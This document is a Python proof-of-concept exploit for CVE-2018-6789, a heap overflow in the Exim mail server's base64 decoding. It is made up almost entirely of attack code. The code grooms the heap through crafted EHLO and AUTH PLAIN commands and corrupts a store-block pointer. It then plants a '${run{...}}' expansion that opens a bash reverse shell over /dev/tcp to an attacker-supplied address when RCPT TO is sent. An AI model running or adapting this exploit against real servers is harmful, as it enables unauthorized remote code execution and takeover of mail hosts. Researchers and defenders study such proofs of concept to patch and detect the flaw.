Exim base64d Buffer Overflow

`#!/usr/bin/python  
import sys  
import time  
import socket  
import struct  
  
s = None  
f = None  
  
def logo():  
print  
print " CVE-2018-6789 Poc Exploit"  
print "@straight_blast ; [email protected]"  
print  
  
  
def connect(host, port):  
global s  
global f  
s = socket.create_connection((host,port))  
f = s.makefile('rw', bufsize=0)  
  
def p(v):  
return struct.pack("<Q", v)  
  
def readuntil(delim='\n', debug = False):  
data = ''  
while not data.endswith(delim):  
data += f.read(1)  
if debug:  
print data  
return data  
  
def write(data):  
f.write(data + "\n")  
  
def ehlo(v):  
write("EHLO " + v)  
readuntil('HELP')  
  
def unrec(v):  
write(v)  
readuntil('command')  
  
def auth_plain(v,s = None):  
encode = v.encode('base64').replace('\n','').replace('=','')  
if s and len(s) > 0:  
encode = encode + s  
write("AUTH PLAIN " + encode)  
readuntil('data')   
  
def one_byte_overwrite():  
v = "C" * 8200  
encode = v.encode('base64').replace('\n','').replace('=','')  
encode = encode[:-1] + "PE"  
write("AUTH PLAIN " + encode)  
readuntil('data')  
  
def exploit(remote_host, remote_port, local_host, local_port):  
  
connect(remote_host, remote_port)  
  
print "[0] connected to target -> " + remote_host + ":" + str(remote_port)  
  
time.sleep(0.5)  
  
ehlo("A" * 8000)   
  
ehlo("B" * 16)  
  
print "[1] finished grooming heap with 0x6060 block space"  
  
unrec("\xff" * 2000)  
  
ehlo("D" * 8200)  
  
one_byte_overwrite()  
  
print "[2] triggerd 1 byte overwrite vulnerability to extend the chunk size from 0x2021 to 0x20f1"  
  
fake_header = p(0)   
fake_header += p(0x1f51)  
auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))  
  
print "[3] patched following store block with fake header so extended chunk can be freed"  
  
ehlo("F" * 16)  
  
print "[4] freed extended store block"  
  
unrec("\xff" * 2000) #filler against freed block  
  
unrec("\xff" * 2000) #filler against freed block  
  
fake_header = p(0x4110)  
fake_header += p(0x1f50)   
auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))  
  
print "[5] patched store block with fake header so extended chunk can be malloced"  
  
#acl_store_block_partial_address = "\x80\xa4\x6e"  
acl_store_block_partial_address = "\xe0\xc8\x6c"  
  
auth_plain("H" * 8200 + p(0x2021) + acl_store_block_partial_address, "X")  
  
print "[6] finished using extend chunk to overwrite the overlapping store block's next pointer to an acl store block address"  
  
ehlo("I" * 16)  
  
print "[7] triggered smtp_reset_3(); with EHLO"  
  
# 288 is for github build  
# 1000 is for debian build  
#acl_smtp_rcpt_offset = 288  
acl_smtp_rcpt_offset = 1000-16  
  
cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_address + "/" + str(local_port) + " 0>&1\""  
cmd_expansion_string = "${run{" + cmd + "}}\0"  
  
auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "\0" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))   
  
print "[8] malloced acl store block and overwrite the content of acl_smtp_rcpt with shell expression"  
  
write("MAIL FROM:<[email protected]>") ; readuntil()  
  
write("RCPT TO:<[email protected]>")   
  
print "[9] triggered RCPT TO which executes shell expression ... enjoy your shell!"  
  
print  
  
if __name__ == '__main__':  
logo()  
if len(sys.argv) < 5:  
print "Usage: ./exploit <remote_address> <remote_port> <local_address> <local_port>\n"  
exit()  
remote_address = sys.argv[1]  
remote_port = int(sys.argv[2])  
local_address = sys.argv[3]  
local_port = int(sys.argv[4])  
#print remote_address, remote_port, local_address, local_port  
exploit(remote_address, remote_port, local_address, local_port)  
  
`